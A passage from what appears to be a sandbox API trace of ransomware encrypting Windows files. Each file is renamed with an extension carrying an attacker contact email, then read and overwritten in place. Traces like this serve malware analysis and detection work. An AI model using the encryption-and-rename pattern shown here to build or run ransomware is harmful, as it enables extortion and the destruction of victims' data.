hHeap=0x630000, dwFlags=0x0, lpMem=0x7056df0 | out: hHeap=0x630000) returned 1 [0136.939] GetProcessHeap () returned 0x630000 [0136.939] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x704b9c0 | out: hHeap=0x630000) returned 1 [0136.940] GetProcessHeap () returned 0x630000 [0136.940] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0136.940] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0136.940] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfcc4 | out: lpFindFileData=0x45bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x1791de26, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x125ac, dwReserved0=0xb747496, dwReserved1=0x704b9b8, cFileName="LucidaBrightDemiBold.ttf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LUEF96~1.FIR")) returned 0x6d5580 [0136.941] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0136.941] Sleep (dwMilliseconds=0x1) [0138.623] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Candara.xml", len=0x51 | out: pbstr=0x45bff7c*="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Candara.xml") returned 1 [0138.623] GetProcessHeap () returned 0x630000 [0138.623] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72b0508, Size=0x1a3c) returned 0x72b0508 [0138.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Candara.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\candara.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0138.624] CloseHandle (hObject=0x4e8) returned 1 [0138.624] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0138.624] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Candara.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\candara.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Candara.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\candara.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0138.624] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.625] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Candara.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdc0, dwReserved0=0x720069, dwReserved1=0x780065, cFileName="Candara.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CANDAR~1.FIR")) returned 0x6d5200 [0138.625] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0138.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Candara.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\candara.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0138.625] GetProcessHeap () returned 0x630000 [0138.625] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xde1) returned 0x7246e10 [0138.625] GetProcessHeap () returned 0x630000 [0138.625] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xde1) returned 0x7240bd8 [0138.625] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.625] ReadFile (in: hFile=0x4e8, lpBuffer=0x7246e10, nNumberOfBytesToRead=0xdc0, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7246e10*, lpNumberOfBytesRead=0x45bff0c*=0xdc0, lpOverlapped=0x0) returned 1 [0138.749] GetProcessHeap () returned 0x630000 [0138.749] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318788 [0138.749] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.749] WriteFile (in: hFile=0x4e8, lpBuffer=0x7240bd8*, nNumberOfBytesToWrite=0xdc0, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7240bd8*, lpNumberOfBytesWritten=0x45bff0c*=0xdc0, lpOverlapped=0x0) returned 1 [0138.749] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.749] WriteFile (in: hFile=0x4e8, lpBuffer=0x7241997*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7241997*, lpNumberOfBytesWritten=0x45bff0c*=0x20, lpOverlapped=0x0) returned 1 [0138.749] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.750] WriteFile (in: hFile=0x4e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x45bff0c*=0x4, lpOverlapped=0x0) returned 1 [0138.750] CloseHandle (hObject=0x4e8) returned 1 [0138.750] GetProcessHeap () returned 0x630000 [0138.750] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7240bd8 | out: hHeap=0x630000) returned 1 [0138.750] GetProcessHeap () returned 0x630000 [0138.750] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7246e10 | out: hHeap=0x630000) returned 1 [0138.750] GetProcessHeap () returned 0x630000 [0138.750] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318788 | out: hHeap=0x630000) returned 1 [0138.750] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.750] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Candara.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfcc4 | out: lpFindFileData=0x45bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18a57dc7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xde4, dwReserved0=0x45bfd20, dwReserved1=0x7246e10, cFileName="Candara.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CANDAR~1.FIR")) returned 0x6d5200 [0138.750] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0138.750] Sleep (dwMilliseconds=0x1) [0138.772] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx", len=0x57 | out: pbstr=0x45bff7c*="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 1 [0138.773] GetProcessHeap () returned 0x630000 [0138.773] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72b0508, Size=0x1a1c) returned 0x72b0508 [0138.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0138.773] CloseHandle (hObject=0x688) returned 1 [0138.773] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0138.773] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0138.774] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.774] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xde70, dwReserved0=0xf008da22, dwReserved1=0x5d006e, cFileName="Top Shadow.eftx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOPSHA~1.FIR")) returned 0x6d5000 [0138.774] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0138.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0138.774] GetProcessHeap () returned 0x630000 [0138.774] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f06978 [0138.775] GetProcessHeap () returned 0x630000 [0138.775] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72ba008 [0138.775] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.775] ReadFile (in: hFile=0x688, lpBuffer=0x6f06978, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f06978*, lpNumberOfBytesRead=0x45bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0142.311] GetProcessHeap () returned 0x630000 [0142.311] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317c98 [0142.311] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.311] WriteFile (in: hFile=0x688, lpBuffer=0x72ba008*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72ba008*, lpNumberOfBytesWritten=0x45bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0142.311] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.311] WriteFile (in: hFile=0x688, lpBuffer=0x72c5407*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72c5407*, lpNumberOfBytesWritten=0x45bff0c*=0x20, lpOverlapped=0x0) returned 1 [0142.312] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.312] WriteFile (in: hFile=0x688, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x45bff0c*=0x4, lpOverlapped=0x0) returned 1 [0142.312] CloseHandle (hObject=0x688) returned 1 [0142.312] GetProcessHeap () returned 0x630000 [0142.312] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72ba008 | out: hHeap=0x630000) returned 1 [0142.312] GetProcessHeap () returned 0x630000 [0142.312] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f06978 | out: hHeap=0x630000) returned 1 [0142.314] GetProcessHeap () returned 0x630000 [0142.314] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317c98 | out: hHeap=0x630000) returned 1 [0142.314] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0142.314] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfcc4 | out: lpFindFileData=0x45bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1ac515d0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xde94, dwReserved0=0xb747496, dwReserved1=0x6f06970, cFileName="Top Shadow.eftx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOPSHA~1.FIR")) returned 0x6d4e40 [0142.315] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0142.315] Sleep (dwMilliseconds=0x1) [0142.698] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_MAK-ul-phn.xrm-ms", len=0x4a | out: pbstr=0x45bff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_MAK-ul-phn.xrm-ms") returned 1 [0142.698] GetProcessHeap () returned 0x630000 [0142.698] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x2514) returned 0x7203db8 [0142.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0142.758] CloseHandle (hObject=0x6d8) returned 1 [0142.758] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0142.758] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_mak-ul-phn.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_MAK-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_mak-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0142.788] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0142.788] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_MAK-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xed08dd97, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed08dd97, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xed1befd8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4dcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordVL_MAK-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WORDVL~2.FIR")) returned 0x6d5000 [0142.788] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0142.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_MAK-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_mak-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0142.788] GetProcessHeap () returned 0x630000 [0142.788] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4de1) returned 0x71c0048 [0142.789] GetProcessHeap () returned 0x630000 [0142.789] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4de1) returned 0x71c4e38 [0142.789] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.789] ReadFile (in: hFile=0x6d8, lpBuffer=0x71c0048, nNumberOfBytesToRead=0x4dc0, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71c0048*, lpNumberOfBytesRead=0x45bff0c*=0x4dc0, lpOverlapped=0x0) returned 1 [0145.111] GetProcessHeap () returned 0x630000 [0145.111] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177a60 [0145.112] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.112] WriteFile (in: hFile=0x6d8, lpBuffer=0x71c4e38*, nNumberOfBytesToWrite=0x4dc0, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71c4e38*, lpNumberOfBytesWritten=0x45bff0c*=0x4dc0, lpOverlapped=0x0) returned 1 [0145.733] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.733] WriteFile (in: hFile=0x6d8, lpBuffer=0x71c9bf7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71c9bf7*, lpNumberOfBytesWritten=0x45bff0c*=0x20, lpOverlapped=0x0) returned 1 [0145.923] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.924] WriteFile (in: hFile=0x6d8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x45bff0c*=0x4, lpOverlapped=0x0) returned 1 [0145.924] CloseHandle (hObject=0x6d8) returned 1 [0145.924] GetProcessHeap () returned 0x630000 [0145.924] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71c4e38 | out: hHeap=0x630000) returned 1 [0145.927] GetProcessHeap () returned 0x630000 [0145.927] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71c0048 | out: hHeap=0x630000) returned 1 [0145.928] GetProcessHeap () returned 0x630000 [0145.928] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177a60 | out: hHeap=0x630000) returned 1 [0145.928] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0145.928] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_MAK-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfcc4 | out: lpFindFileData=0x45bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xed08dd97, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed08dd97, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1ced08ae, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4df0, dwReserved0=0xb747496, dwReserved1=0x71c0040, cFileName="WordVL_MAK-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WORDVL~2.FIR")) returned 0x6d5540 [0145.928] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0145.928] Sleep (dwMilliseconds=0x1) [0146.017] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT.HXS", len=0x41 | out: pbstr=0x45bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT.HXS") returned 1 [0146.017] GetProcessHeap () returned 0x630000 [0146.017] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2780) returned 0x71f7c78 [0146.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0146.516] CloseHandle (hObject=0x694) returned 1 [0146.516] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.542] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt.hxs.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.543] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.543] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5e43de4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5e43de4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xa38f59d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x70876, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d4e40 [0146.543] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0146.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\powerpnt.hxs.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0146.543] GetProcessHeap () returned 0x630000 [0146.543] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71803a8 [0146.544] GetProcessHeap () returned 0x630000 [0146.544] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x718b7d8 [0146.544] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.544] ReadFile (in: hFile=0x694, lpBuffer=0x71803a8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71803a8*, lpNumberOfBytesRead=0x45bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0154.410] GetProcessHeap () returned 0x630000 [0154.410] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee2b0 [0154.410] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.410] WriteFile (in: hFile=0x694, lpBuffer=0x718b7d8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x718b7d8*, lpNumberOfBytesWritten=0x45bff0c*=0xb400, 